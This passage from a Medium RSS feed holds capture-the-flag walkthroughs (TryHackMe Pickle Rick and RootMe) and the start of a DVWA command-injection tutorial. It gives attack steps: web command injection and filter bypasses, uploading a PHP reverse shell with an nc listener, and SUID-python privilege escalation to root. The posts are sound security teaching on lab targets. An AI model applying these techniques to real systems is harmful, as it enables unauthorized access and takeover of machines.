src="https://cdn-images-1.medium.com/max/933/1*POLR5DANPT-bP-JX6nAbjQ.png" /></figure><p>To expand our exploration, a Gobuster scan becomes the next step, aiming to uncover concealed files or directories within the target system.</p><blockquote><strong>gobuster dir -u 10.10.24.201 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 6</strong></blockquote><p>Executing the command provided, we engage Gobuster with specific flags: ‘-dir’ to focus on directories and files,</p><p>‘-u’ to designate the target URL as 10.10.24.201,</p><p>‘-w’ to utilize a wordlist located at ‘/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt’,</p><p>‘-x’ to specify the extensions for enumeration (in this case, ‘php’, ‘html’, and ‘txt’), and ‘-t’ to determine the concurrency level with 60 threads.</p><p>While opting for a smaller wordlist, it’s worth noting that more extensive ones are available for comprehensive assessments. This Gobuster scan is expected to reveal hidden elements, potentially unveiling critical paths or resources crucial to progressing further in the investigation of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*dhhgjDb1Mmou3Kigi622Xw.png" /></figure><p>Exploring the discovered directories and files is the next logical step after uncovering them through the Gobuster scan. While investigating the identified paths such as ‘login.php’, ‘.php’, ‘html’, ‘index.html’, ‘/assets’, and ‘portal.php’, a crucial file named ‘robots.txt’ emerges.</p><p>Upon inspecting the ‘/assets’ directory, the search yielded no apparent findings, suggesting that the sought-after ingredients or clues may reside elsewhere within the system. Given the significance of the ‘robots.txt’ file in web applications, it may contain hidden or restricted directories that aren’t explicitly linked or accessible through normal browsing. Delving into ‘robots.txt’ might disclose additional paths or directories that could be pivotal in our quest to acquire the three secret ingredients for Rick’s transformation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*31vJPBFTtA7sWqs4lakTIQ.png" /></figure><p>Accessing the ‘robots.txt’ file using the URL format ‘<a href="https://ip/robots.txt">https://ip/robots.txt</a>&#39; revealed a significant finding — a password: ‘Wubbalubbadubdub’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*y6oCxiJD3lTmufU8gQ7T7Q.png" /></figure><h4>3. System Access and Revealing Secret Ingredients:</h4><p>When accessing the login.php page via the web browser, it presents itself as the portal login interface. Leveraging the username discovered within the source code of the homepage and the password unearthed from the robots.txt file, we employ this login combination within the portal.</p><blockquote><a href="http://10.10.43.98/login.php"><strong>http://10.10.24.201/login.php</strong></a></blockquote><blockquote><strong>username: R1ckRul3s</strong></blockquote><blockquote><strong>password: Wubbalubbadubdub</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*ABrco5uddroj50v04By75Q.png" /></figure><p>Upon successful login using the obtained credentials, we gained access to various pages and menu options within the interface. However, it was the Commands tab that particularly drew our focus. As anticipated, this tab presented a panel facilitating the execution of system commands directly on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*gMMGw0h9Aje-0oYCZUpJPA.png" /></figure><p>Executing the ‘<strong><em>whoami</em></strong>’ command within the command injection form via the ‘executer’ button yielded an output of ‘www-data.’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*OQ04Y20Ot3m5C89Xagh50g.png" /></figure><p>This result indicates that the command was successfully executed within the context of the ‘www-data’ user. In Linux systems, ‘www-data’ is commonly associated with the user account that the web server uses to access files when serving web pages.</p><p>Running the ‘ls’ command, we identified several files and directories within the system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*E8a14N6xZvkeCXyLPwIFzQ.png" /></figure><p>- Sup3rS3cretPick13Ingred.txt<br>- assets<br>- clue.txt<br>- denied.php<br>- index.html<br>- login.php<br>- portal.php<br>- robots.txt</p><p>Among these, the file ‘Sup3rS3cretPick13Ingred.txt’ stands out, suggesting it might contain the sought-after secret ingredients required for Rick’s transformation from a pickle back to a human.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*zuMjpAMpLiomS-2Xe2Idrw.png" /></figure><p>We tried reading the Sup3rS3cretPickl3Ingred.txt file using the cat command but we were intercepted by Mr. Meeseek he says that cat command is restricted</p><p>You can always do<strong><em> </em></strong><a href="http://10.10.91.252/Sup3rS3cretPickl3Ingred.txt"><strong><em>http://ip/Sup3rS3cretPickl3Ingred.txt</em></strong></a> to view the secret ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*LMCHYsCbQwffTxpoXgvcEw.png" /></figure><p>Upon accessing the file via a browser, the content of the file reveals the first ingredient needed for Rick’s transformation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*qx6273PlBkhFz0aDsl-maQ.png" /></figure><blockquote>Side Note: After experimenting with different commands, it became evident that using the ‘less’ command was the solution. Entering ‘less Sup3rS3cretPickl3Ingred.txt’ allowed us to successfully retrieve our first ingredient from the file.</blockquote><p>Executing the command ‘<strong><em>ls ../../../../home</em></strong>’ via command injection unveiled the existence of ‘rick’ and ‘ubuntu’ users within the system’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*FI05QpsD-EkLH7qO2mFQ3A.png" /></figure><p>Executing <strong><em>‘ls ../../../../home/rick</em></strong>’ via command injection revealed the presence of a directory named ‘second ingredients’ within the ‘rick’ user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*ugZHAuDpTXr_jXCoJRTmRQ.png" /></figure><p>Reading the contents of the ‘second ingredients’ directory located at <strong><em>‘../../../../../home/rick/second ingredients</em></strong>’ using the ‘<strong><em>less</em></strong>’ command allowed us to retrieve the second ingredient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*K9sLt1r_mLlmyE3_Oppe9Q.png" /></figure><p>In order to view the files within the root user’s home directory, the ‘sudo’ command is required before executing ‘ls’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*Iq1yngXtoUTtZTVGK-X7UA.png" /></figure><p>This command, when executed, will display the contents of the root user’s home directory, granting visibility into the files and directories located there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*xDktlRLFcSXtVXLduvLYJQ.png" /></figure><p>Great! Accessing ‘3rd.txt’ located at ‘<strong><em>../../../../../root/3rd.txt</em></strong>’ using ‘<strong><em>sudo less’</em></strong> unveiled the final flag, marking the successful retrieval of the sought-after information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*bPrC9UdwykxlhHBpPCKanw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*KFsXJzYqzoQiNMxwuEck9w.png" /></figure><p>After gathering all the secret ingredients, we successfully concocted the potion, leading to Rick’s transformation from a pickle back to a human!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*rPV5H8-snY_91ltD-Ot5RA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*iDX7qVQauYSk9Ba_jd4GVw.png" /></figure><h4>Findings</h4><ol><li>Initial Exploration:</li></ol><ul><li>Identification of open ports (SSH and HTTP).</li><li>Discovery of a Rick and Morty-themed webpage.</li><li>Extraction of a crucial username and password.</li></ul><p>2. Web Application Enumeration:</p><ul><li>Gobuster scan revealing hidden directories and files.</li><li>Extraction of a significant password from ‘robots.txt’.</li></ul><p>3. System Access and Command Execution:</p><ul><li>Successful login to the system.</li><li>Execution of commands, revealing ‘www-data’ as the executing user.</li><li>Identification of critical files and directories within the system.</li></ul><p>4. Secret Ingredients Retrieval:</p><ul><li>Creative use of command injection to access restricted files.</li><li>Retrieval of the three secret ingredients necessary for Rick’s transformation.</li></ul><h4>Recommendations</h4><ol><li>Enhance Security Measures:</li></ol><ul><li>Implement rigorous input validation and sanitization across all user-interfacing elements.</li><li>Foster secure coding practices and utilize frameworks designed to mitigate command injection risks.</li></ul><p>2. Regular Security Assessments:</p><ul><li>Conduct frequent security audits and penetration tests to identify vulnerabilities.</li><li>Utilize automated scanning tools and manual code reviews to uncover potential risks.</li></ul><p>3. Access Controls and Segmentation:</p><ul><li>Employ network segmentation and access controls to limit system exposure.</li><li>Leverage least privilege principles to restrict user access and minimize potential damage.</li></ul><h3>Conclusion</h3><p>The exploration of command injection vulnerabilities within the “Pickle Rick” challenge exemplifies the critical importance of robust security practices. By methodically identifying, exploiting, and mitigating vulnerabilities, this investigation not only retrieved the necessary ingredients for Rick’s transformation but also underscored the significance of proactive security measures in safeguarding systems against potential exploits.</p><blockquote>Thank you for following along and I hope this step-by-step guide proves useful in some capacity.</blockquote><blockquote>If you spot any errors or have additional tips, feel free to share!</blockquote><blockquote>Stay tuned for more intriguing adventures in the future.</blockquote><blockquote>A big thank you to all the fantastic hackers involved!</blockquote><h3>Reference</h3><ul><li><a href="https://portswigger.net/web-security/os-command-injection">What is OS command injection, and how to prevent it? | Web Security Academy</a></li><li><a href="https://www.imperva.com/learn/application-security/command-injection/">What Is Command Injection? | Examples, Methods &amp; Prevention | Imperva</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f63a669e4a91" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ROOT_ME]]></title>
            <link>https://medium.com/@timsinabishal232/root-me-b1ab38cd580e?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1ab38cd580e</guid>
            <category><![CDATA[root-me]]></category>
            <category><![CDATA[privilege]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Mon, 18 Dec 2023 08:01:09 GMT</pubDate>
            <atom:updated>2024-02-12T16:15:39.668Z</atom:updated>
            <content:encoded><![CDATA[<p>written by: Bishal Timsina</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vboioE97F2ci9JrJ" /></figure><blockquote>“Can you root me?”</blockquote><blockquote>Challenge accepted, so let’s root it!</blockquote><h3><strong>Introduction</strong></h3><p>RootMe on TryHackMe is a Capture The Flag (CTF) style room aimed at beginners, providing a friendly environment with step-by-step guidance. However, it’s recommended to attempt the challenges without relying too heavily on the provided hints to experience the room as a regular CTF player would.</p><p>One aspect I particularly appreciate is the method used to gain an initial shell, which serves as excellent practice for this specific skill. Throughout the room, you’ll encounter various tools like nmap, gobuster, Burp Suite, reverse shells, and basic Linux privilege escalation, offering a well-rounded learning experience.</p><p>In this walkthrough, I aim to offer a distinctive perspective on the covered topics. Occasionally, I’ll delve into subjects not directly addressed in the TryHackMe room to provide supplementary knowledge that might prove useful.</p><p>RootMe, a Linux-based machine, contains vulnerabilities in its hosted website and SUIDs in the system. Throughout this walkthrough, I’ll demonstrate my approach to solving the challenges within this CTF-style room. You can follow along using the room link: <a href="https://tryhackme.com/room/rrootme">[RootMe Room on TryHackMe]</a>.</p><p>The tools used in this walkthrough include the THM Attack Box and a Linux environment.</p><h3>Methodology</h3><p>OpenVPN Setup</p><ul><li>Establish the connection to TryHackMe’s network using OpenVPN.</li></ul><p>Deploy the Machine</p><ul><li>Deploy the RootMe virtual machine within TryHackMe’s environment.</li></ul><p>Reconnaissance</p><ul><li>Use Nmap for service version discovery.</li><li>Identify Apache version and services running on specific ports.</li><li>Utilize Gobuster for directory enumeration on the web server.</li></ul><p>Getting a Shell</p><ul><li>Explore the ‘panel’ directory and create a customized shell script.</li><li>Upload and execute the shell script on the server to establish a reverse shell connection.</li><li>Upgrade the shell for enhanced functionality using Python.</li></ul><p>Privilege Escalation</p><ul><li>Search for SUID files in the system.</li><li>Execute commands to escalate privileges and access restricted directories.</li></ul><h4><strong><em>1. OpenVPN Setup</em></strong></h4><p>Ensure you’ve set up OpenVPN to connect to TryHackMe’s network. If you’re unfamiliar with this, there’s likely a specific room or tutorial on TryHackMe that explains how to set up OpenVPN for their network. Search for the “OpenVPN” room or guide, which will walk you through downloading configuration files and setting up the VPN connection.</p><h4><strong><em>2. Deploy the Machine</em></strong></h4><ul><li>Click on the “Start Machine” or “Deploy” button within the room. This action will deploy the RootMe virtual machine in TryHackMe’s environment.</li><li>Wait for a few moments while the machine is being provisioned.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uozvFZPlI1mG5rfqd_OmEA.png" /></figure><h4><strong><em>3. Reconnaissance</em></strong></h4><h4><strong>3.1. Nmap</strong></h4><p>Absolutely, using Nmap with the `-sV` flag provides valuable information about the services and versions running on the specified IP address. Here’s an example command:</p><blockquote><strong>nmap -sV &lt;ip_addr&gt;</strong></blockquote><p>Replace `&lt;ip_addr&gt;` with the actual IP address of the deployed RootMe machine.</p><p>This command will perform a service version scan and display information about open ports and the services associated with them. As you mentioned, it will likely reveal ports like SSH and HTTP, allowing us to gather details about the running services, such as their versions and possibly additional information that might help in the exploitation process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*WbskP097YRvm6aFaOm6KTQ.png" /></figure><p>From the scan we can proceed to answer next question:<br>What version of Apache is running?<br><strong><em>Answer: 2.4.29</em></strong></p><p>What service is running on port 22?<br><strong><em>Answer: ssh</em></strong></p><p>Find directories on the web server using the GoBuster tool.<br><strong><em>Answer: No answer needed</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDaaNfuoy9gNvZZh4uvIwg.png" /></figure><p>Anytime we see a web server running (port 80), we should be thinking about directory enumeration using a brute forcing tool. Port 80 is one of the most common for identifying and exploiting a weakness to gain a foothold on the target system.</p><p>We can use a web browser to browse to the home page for the web server, but it’s important to identify as many web pages as we can in order to expand our attack surface. This is why directory enumeration is so important.</p><p>I prefer to use dirb, for directory enumeration but since THM directs us to use gobuster, I went with it for this challenge:</p><h4><strong>3.2. Gobuster</strong></h4><p>When exploring a web server running on port 80, it’s crucial to expand the attack surface by identifying potential directories, as these could harbor hidden or sensitive content. Using a tool like Gobuster for directory enumeration is a smart approach. In this instance, the command</p><blockquote><strong>`gobuster dir -u 10.10.66.45 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` is employed.’</strong></blockquote><p>Here’s a breakdown:</p><p>`gobuster dir` initiates Gobuster for directory brute forcing,</p><p>`-u` specifies the target URL (replace `10.10.66.45` with the actual IP address), and `-w` indicates the wordlist to be used for the scan (in this case, `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`).</p><p>Executing this command will perform a systematic search through directories, potentially revealing hidden paths, aiding in uncovering additional entry points or vulnerabilities within the web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*VwDJkFjjJWjHlNbXHjmGxw.png" /></figure><p>Upon conducting directory enumeration using Gobuster on the web server hosted at the specified IP address, two directories, namely ‘uploads’ and ‘panel’, were discovered. It was revealed that the ‘panel’ directory contained crucial information or functionalities that were relevant to the challenge’s objectives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_d48oFAf7EF9VRAIiHGDw.png" /></figure><h4><strong>Getting a Shell</strong></h4><p>Examining the page’s source code can often reveal valuable information that aids in the enumeration process. Accessing the source code of the URL page through the browser using the Ctrl+U shortcut allows for a closer inspection of the underlying HTML, potentially uncovering useful details or clues that might assist in further exploration or exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Lt1nJhAj6Wr_ciJ4ufykAw.png" /></figure><p>When we typed “&lt;target_ip&gt;/panel/” we get the screen below. Navigate to the hidden ‘panel’ directory, which contains an upload form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*raEFhK-oouKBDBAnDiCMaw.png" /></figure><p>To create the shell file for upload, visit the GitHub repository provided <a href="https://github.com/pentestmonkey/php-reverse-shell">https://github.com/pentestmonkey/php-reverse-shell</a> and access the ‘shell.php’ script.</p><p>used command:</p><blockquote><strong>git clone </strong><a href="https://github.com/pentestmonkey/php-reverse-shell"><strong>https://github.com/pentestmonkey/php-reverse-shell</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-tqbeozyRvmc_EQ9Gtl5vQ.png" /></figure><p>Open a text editor like Nano/Mousepad/Vim and paste the payload from the repository into a new file named ‘shell.php’. Ensure to modify the script by replacing the default IP address and port (usually 1234) with your AttackBox’s IP address. To find your AttackBox’s IP address, use the “ifconfig” command in the terminal or check the top-right corner of the TryHackMe environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*TfZHa7v3M1Vy_dbjVkBZ1g.png" /></figure><p>This customized ‘shell.php’ file will facilitate the establishment of a reverse shell connection upon upload, allowing interaction with the vulnerable server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*JeO8K0_NeOrnaJgevPAbwA.png" /></figure><p>This customized ‘shell.php’ file will facilitate the establishment of a reverse shell connection upon upload, allowing interaction with the vulnerable server.</p><p>After creating the ‘shell.php’ file, attempting to upload it to the ‘/panel/’ directory reveals that the server doesn’t accept .php files. In such cases, exploring alternative file extensions compatible with PHP becomes necessary. Quick research on Google indicates various PHP-compatible extensions like .php3, .php4, .php5, .php7, .phtml, .pht, among others. By trying different extensions, we aim to find one that the server accepts for PHP execution, allowing successful upload and execution of the shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nPLbUHcfvRXU1ShSNGWCyg.png" /></figure><p>Upon successful upload, the file ‘shell.php’ is located within the ‘uploads’ directory on the server. To interact with this uploaded file, navigate to the specific URL: `ip_addr/uploads/` in your web browser. This action will trigger the execution of the uploaded ‘shell.php’ script on the server, initiating the reverse shell connection back to your AttackBox or specified IP address and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*yZrA-YDcHHu995McQJ5Vow.png" /></figure><p>Before initiating the execution of the `php_reverse_shell.php5` file, it’s crucial to set up a listener on the chosen port to receive the reverse shell connection. Open a terminal and type `nc -lvnp 1234` (replace ‘1234’ with the port number specified in your modified PHP reverse shell file). This command initializes a netcat listener, poised to accept the reverse shell connection from the uploaded PHP file once triggered on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*mzmlPAPZov-0AnBdPIwW-g.png" /></figure><p>Running the command `python3 -c ‘import pty;pty.spawn(“bin/bash”)’` initiates a Python command that leverages the `pty` module to spawn a pseudo-terminal running `/bin/bash`.</p><p>This action is performed to upgrade the existing shell session, usually after successfully gaining limited access as a lower privileged user, such as ‘www-data’. By spawning a bash shell using Python, it allows for a more interactive and functional shell environment, providing increased capabilities and access within the system. In this specific scenario, executing this command aimed to elevate privileges and attain a more robust shell, often necessary for performing advanced enumeration, privilege escalation, or accessing restricted areas within the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*d9BwqF6QH26AFeDlHYeuug.png" /></figure><p>Navigating through the directories ‘/home’ and ‘/var/www’ using the commands ‘cd /home’ and ‘cd /var/www’ respectively, I listed the contents and discovered two files. Among these files, ‘user.txt’ likely contains information or a flag associated with the user, indicating progression towards completing the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/347/1*5-45pG2CoP7EWR3VGH5Vww.png" /></figure><h4><strong>5. Privilege escalation</strong></h4><p>One of the most intriguing steps for me in any room or challenge is the examination for SUID (Set User ID) files within the system. To conduct this check, I often rely on a straightforward command:</p><blockquote>find / -perm -u=s -type f 2&gt;/dev/null</blockquote><p>This command efficiently searches the entire system (‘/’) for files that have the SUID bit set, denoted by the permission ‘-u=s’. The ‘2&gt;/dev/null’ segment ensures any error messages during the search are suppressed, allowing for a clean output displaying only the identified SUID files. This exploration often unveils files with elevated permissions, providing potential avenues for privilege escalation or further investigation within the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*XDvQrhLDBpMenbXo.png" /></figure><p>Executing<strong> `python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’`</strong> launches a Python command that calls the `os.execl()` function, executing `/bin/sh` with the `-p` flag. This command essentially spawns a new shell session, providing an interactive shell with escalated privileges. Upon entering this shell, running the command `whoami` confirms that the user is now ‘root’, signifying administrative access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*DNI9GGTdWZb5pvHRgdMu6Q.png" /></figure><p>Continuing the exploration, navigating to the ‘/root’ directory using `cd /root` reveals the contents within. Using the command `ls`, it lists the available files, displaying ‘root.txt’, indicating the presence of the root flag or relevant information required to complete the challenge. Accessing the ‘root.txt’ file or reading its contents, likely by using `cat root.txt` or a similar command, unveils the root flag, marking the successful completion of the challenge objectives. This sequence of commands and exploration signifies the successful escalation of privileges to the root user, enabling access to restricted directories and ultimately obtaining the root flag within the ‘/root’ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*GpxGTGy42K9XTdumoJc1cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*IybPQDPoPaYqxifdJY7EpA.png" /></figure><p>And we are done!</p><h3>Findings</h3><ul><li>Discovered Apache version 2.4.29.</li><li>Identified SSH service running on port 22.</li><li>Uncovered ‘uploads’ and ‘panel’ directories during directory enumeration.</li><li>Successfully established a reverse shell connection and upgraded shell for better access.</li><li>Accessed ‘user.txt’ within ‘/home’ directory and ‘root.txt’ in ‘/root’ directory, completing the challenge objectives.</li></ul><h3>Recommendations</h3><p>Diversify Tool Usage:</p><ul><li>Experiment with alternative tools beyond the recommended ones (like dirb instead of Gobuster). Exploring different tools widens your skill set and prepares you for diverse scenarios.</li></ul><p>Documentation and Note-Taking:</p><ul><li>Emphasize the importance of detailed note-taking during the process. Encourage participants to document each step, commands used, findings, and observations. Clear notes aid in understanding, troubleshooting, and revisiting the process.</li></ul><p>Research and Learning:</p><ul><li>Encourage participants to research beyond the room’s scope. Suggest exploring related concepts, vulnerabilities, or tools to deepen understanding. Point them towards relevant online resources, forums, or courses for additional learning.</li></ul><p>Collaborative Learning:</p><ul><li>Foster a collaborative environment. Encourage participants to engage in forums or communities (like TryHackMe’s Discord or other cybersecurity platforms) to discuss challenges, share insights, and learn from others’ approaches.</li></ul><p>Practice Real-World Scenarios:</p><ul><li>Challenge participants to apply the learned techniques to real-world scenarios. Suggest platforms like Hack The Box, VulnHub, or real-world simulation labs to practice diverse challenges and scenarios.</li></ul><p>Ethical Considerations:</p><ul><li>Emphasize ethical hacking practices and responsible disclosure. Encourage participants to respect systems, follow platform guidelines, and avoid causing harm during their exploration.</li></ul><p><strong><em>Additional recommendation</em></strong></p><ul><li>Encourage exploration beyond guided hints to enhance problem-solving skills.</li><li>Experiment with different tools and methods to broaden understanding.</li></ul><h3>Conclusion</h3><p>RootMe on TryHackMe offers beginners a structured introduction to cybersecurity. This walkthrough detailed crucial tools like Nmap and Gobuster for reconnaissance, emphasized shell customization, and showcased privilege escalation techniques. It culminated in achieving ‘user.txt’ and ‘root.txt’.</p><p>Beyond flag acquisition, RootMe is a learning journey. Participants are encouraged to explore beyond hints, diversify tools, and adopt problem-solving mindsets. Documentation, collaboration, and ethical conduct are key. This walkthrough serves as a foundational guide, equipping learners with essential skills for cybersecurity exploration and defense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1ab38cd580e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Command Injection | Dvwa Series| Low | Medium|High | All in one]]></title>
            <link>https://medium.com/@timsinabishal232/command-injection-fc86452e3450?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc86452e3450</guid>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[command-line]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Wed, 13 Dec 2023 08:11:27 GMT</pubDate>
            <atom:updated>2023-12-13T08:17:57.739Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ztzct7Ox2RJv6Y3v.jpg" /></figure><p>Command Injection is a security vulnerability that occurs when an application allows untrusted user input to be executed as system commands. This vulnerability arises primarily due to improper handling or lack of validation of user-supplied data in commands that the application runs on the underlying operating system.</p><p>Let’s ensure your understanding of Command Injection vulnerability is crystal clear before delving into exploiting the DVWA challenge. This involves clarifying key aspects such as what Command Injection is, its causes, how to identify it, and measures to protect applications from this vulnerability.</p><p><strong>What is Command Injection?</strong><br>Command Injection occurs when an attacker can manipulate inputs (often through web forms or parameters in URLs) to inject arbitrary commands into the system. These commands are then executed with the same privileges as the vulnerable application, potentially leading to unauthorized actions or data breaches.</p><blockquote>Code Injection and Command Injection are distinct vulnerabilities, so it’s important not to confuse the two. Below is a table highlighting the differences between these vulnerabilities:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*PS71DdVvfAzsuZR16ZPLVA.png" /></figure><p><strong>Why does Command Injection vulnerability arise?</strong><br>It arises due to improper handling of user inputs. When an application doesn’t sanitize or validate user inputs used in system commands, attackers can exploit this weakness by injecting malicious commands, leading to the execution of unauthorized actions.</p><p><strong>How to identify Command Injection vulnerability?</strong><br>Identifying Command Injection vulnerabilities involves testing the application with various inputs, especially in fields where system commands might be used (like search bars, input forms). Unusual responses or errors that appear when entering characters like semicolons, pipes, or backticks might indicate a vulnerability. Tools like Burp Suite or manual testing can help identify these vulnerabilities.</p><p><strong>How to protect applications from this vulnerability?</strong><br>1. Input Validation: Ensure all user inputs are properly validated and sanitized before being used in any system command.<br>2. Least Privilege Principle: Run the application with the lowest possible privileges required to perform its functions.<br>3. Avoid Shell Commands: Whenever possible, avoid using shell commands to execute tasks within the application.<br>4. Use Whitelisting: Only allow specific, known inputs rather than trying to blacklist potentially dangerous characters.</p><p>These are various techniques used to construct command injection payloads:</p><p>1. Pipe (|) or Semicolon (;): These characters allow for chaining commands together, executing either simultaneously (|) or sequentially (;).</p><p>2. Double Pipe (||) or Double Ampersand (&amp;&amp;): These symbols permit conditional execution based on the success or failure of the preceding command; || executes the second command if the first one fails, while &amp;&amp; executes the second command only if the first one succeeds.</p><p>3. $(cmd): This syntax executes a command within a subshell, allowing for dynamic execution of commands or embedding command output within another command.</p><p>4. Direct Command Execution: Simply inputting a command directly to execute it.</p><p>5. Redirect Output (&gt; or &lt;): These symbols manage input/output redirection, allowing command output to be directed into files or read from files.</p><p><em>In this article, I will demonstrating how to exploit Command Injection vulnerabilities at various security levels in DVWA.</em></p><p>Low Level</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*QAsCe_dWB9hS2cr1D6EyOw.png" /></figure><p>We will start from low level and will proceed to high level gradually. Click on DVWA security button on the left pane to change the difficulty to low and select Command Injection challenge.</p><p>We are on the challenge page. First of all, we have to check the functionality of the application how it is behaving. On entering the loop back address or any valid IP address we found that the application is pinging it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*Lxnym0H-D1g4WA5kR7W9Kw.png" /></figure><p>Given our earlier understanding that applications often use system commands like “$ ping” to execute actions (valid for both Windows and Linux), it’s evident that this app runs OS commands in the background for its functionalities. If we append our command injection payload with the loopback address, we can test if the application is vulnerable. By injecting “127.0.0.1 &amp;&amp; ipconfig” into the input field, we observed that our injected command “$ ipconfig” was indeed executed, as indicated in arrow 4 of the Proof of Concept (PoC).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*-0n_uIvmXRcy1cpqajs1uw.png" /></figure><h3>Source Code Analysis</h3><p>Let’s examine the source code for this level. The $_REQUEST[‘ip’] PHP global variable (as indicated by arrow 1) is used to receive user input within the ‘ip’ parameter. Arrows 2 and 3 signify that whatever input is provided by the user inside the ‘ip’ parameter is directly passed into the shell_exec() function. This specific function is responsible for executing OS commands. As there’s no input validation or sanitization implemented on the ‘ip’ parameter, our injected payload was successfully executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*kHQljYxgd-KvuGAud5Q1bw.png" /></figure><h3>Medium Level</h3><p>Now change the dvwa security to medium as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*cjVN9mDAq73kZ7LBeqgHKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*TWuVIzrUmAbUVqEd7xkL_A.png" /></figure><p>We got the error.</p><h3>Source Code Analysis</h3><p>Sections 1, 4, and 5 maintain the identical code structure seen in the Low-level security instance. However, in Block 2, there’s an array with characters &amp;&amp; and ; stored in the ‘substitutions’ variable. Block 3 utilizes this array in a call to str_replace(), replacing these characters (&amp;&amp; and ;) with a space (‘ ‘) in the user input. Consequently, when we attempted to concatenate our payload “&amp;&amp; ipconfig,” it became “ipconfig” due to the replacement of &amp;&amp; with a space, resulting in the encountered error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UP_Ir0Q45FvpcXpEH6bKcg.png" /></figure><h3><strong>Bypass</strong></h3><p>To circumvent this limitation, we can employ different concatenation characters such as &amp;, |, ||, etc. Let’s utilize the payload “127.0.0.1 &amp; ipconfig” instead of the previous one. Upon testing, we confirmed that our injected payload was successfully executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*0JJw3esaaXA00N1oWaYnvA.png" /></figure><h3>High Level</h3><p>Change the DVWA security level to High as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*ymh-i5SjJflxyUJMpD19Wg.png" /></figure><p>We got the error . I have also tried the payload 127.0.0.1 | ip a, and again it gave the same error. It appears that the application is again performing some type of input validation on the ip parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*Fq7vKiiZD_EJF4FmaOGhuA.png" /></figure><h3>Source Code Analysis</h3><p>Let’s delve into the source code to understand the underlying processes. Blocks 1, 4, and 5 are consistent with what we observed in the medium-level security scenario. In Block 2, there are additional characters such as &amp;, -, $, (, etc. present within the ‘substitutions’ variable. Block 3 utilizes this array in a call to str_replace(), replacing these characters with a space (‘ ‘). This explains why we encountered errors when attempting to concatenate our payload, such as &amp;&amp; ipconfig or &amp; ipconfig with 127.0.0.1. The substitution of these characters with a space resulted in the observed issues.</p><figure><img alt="" 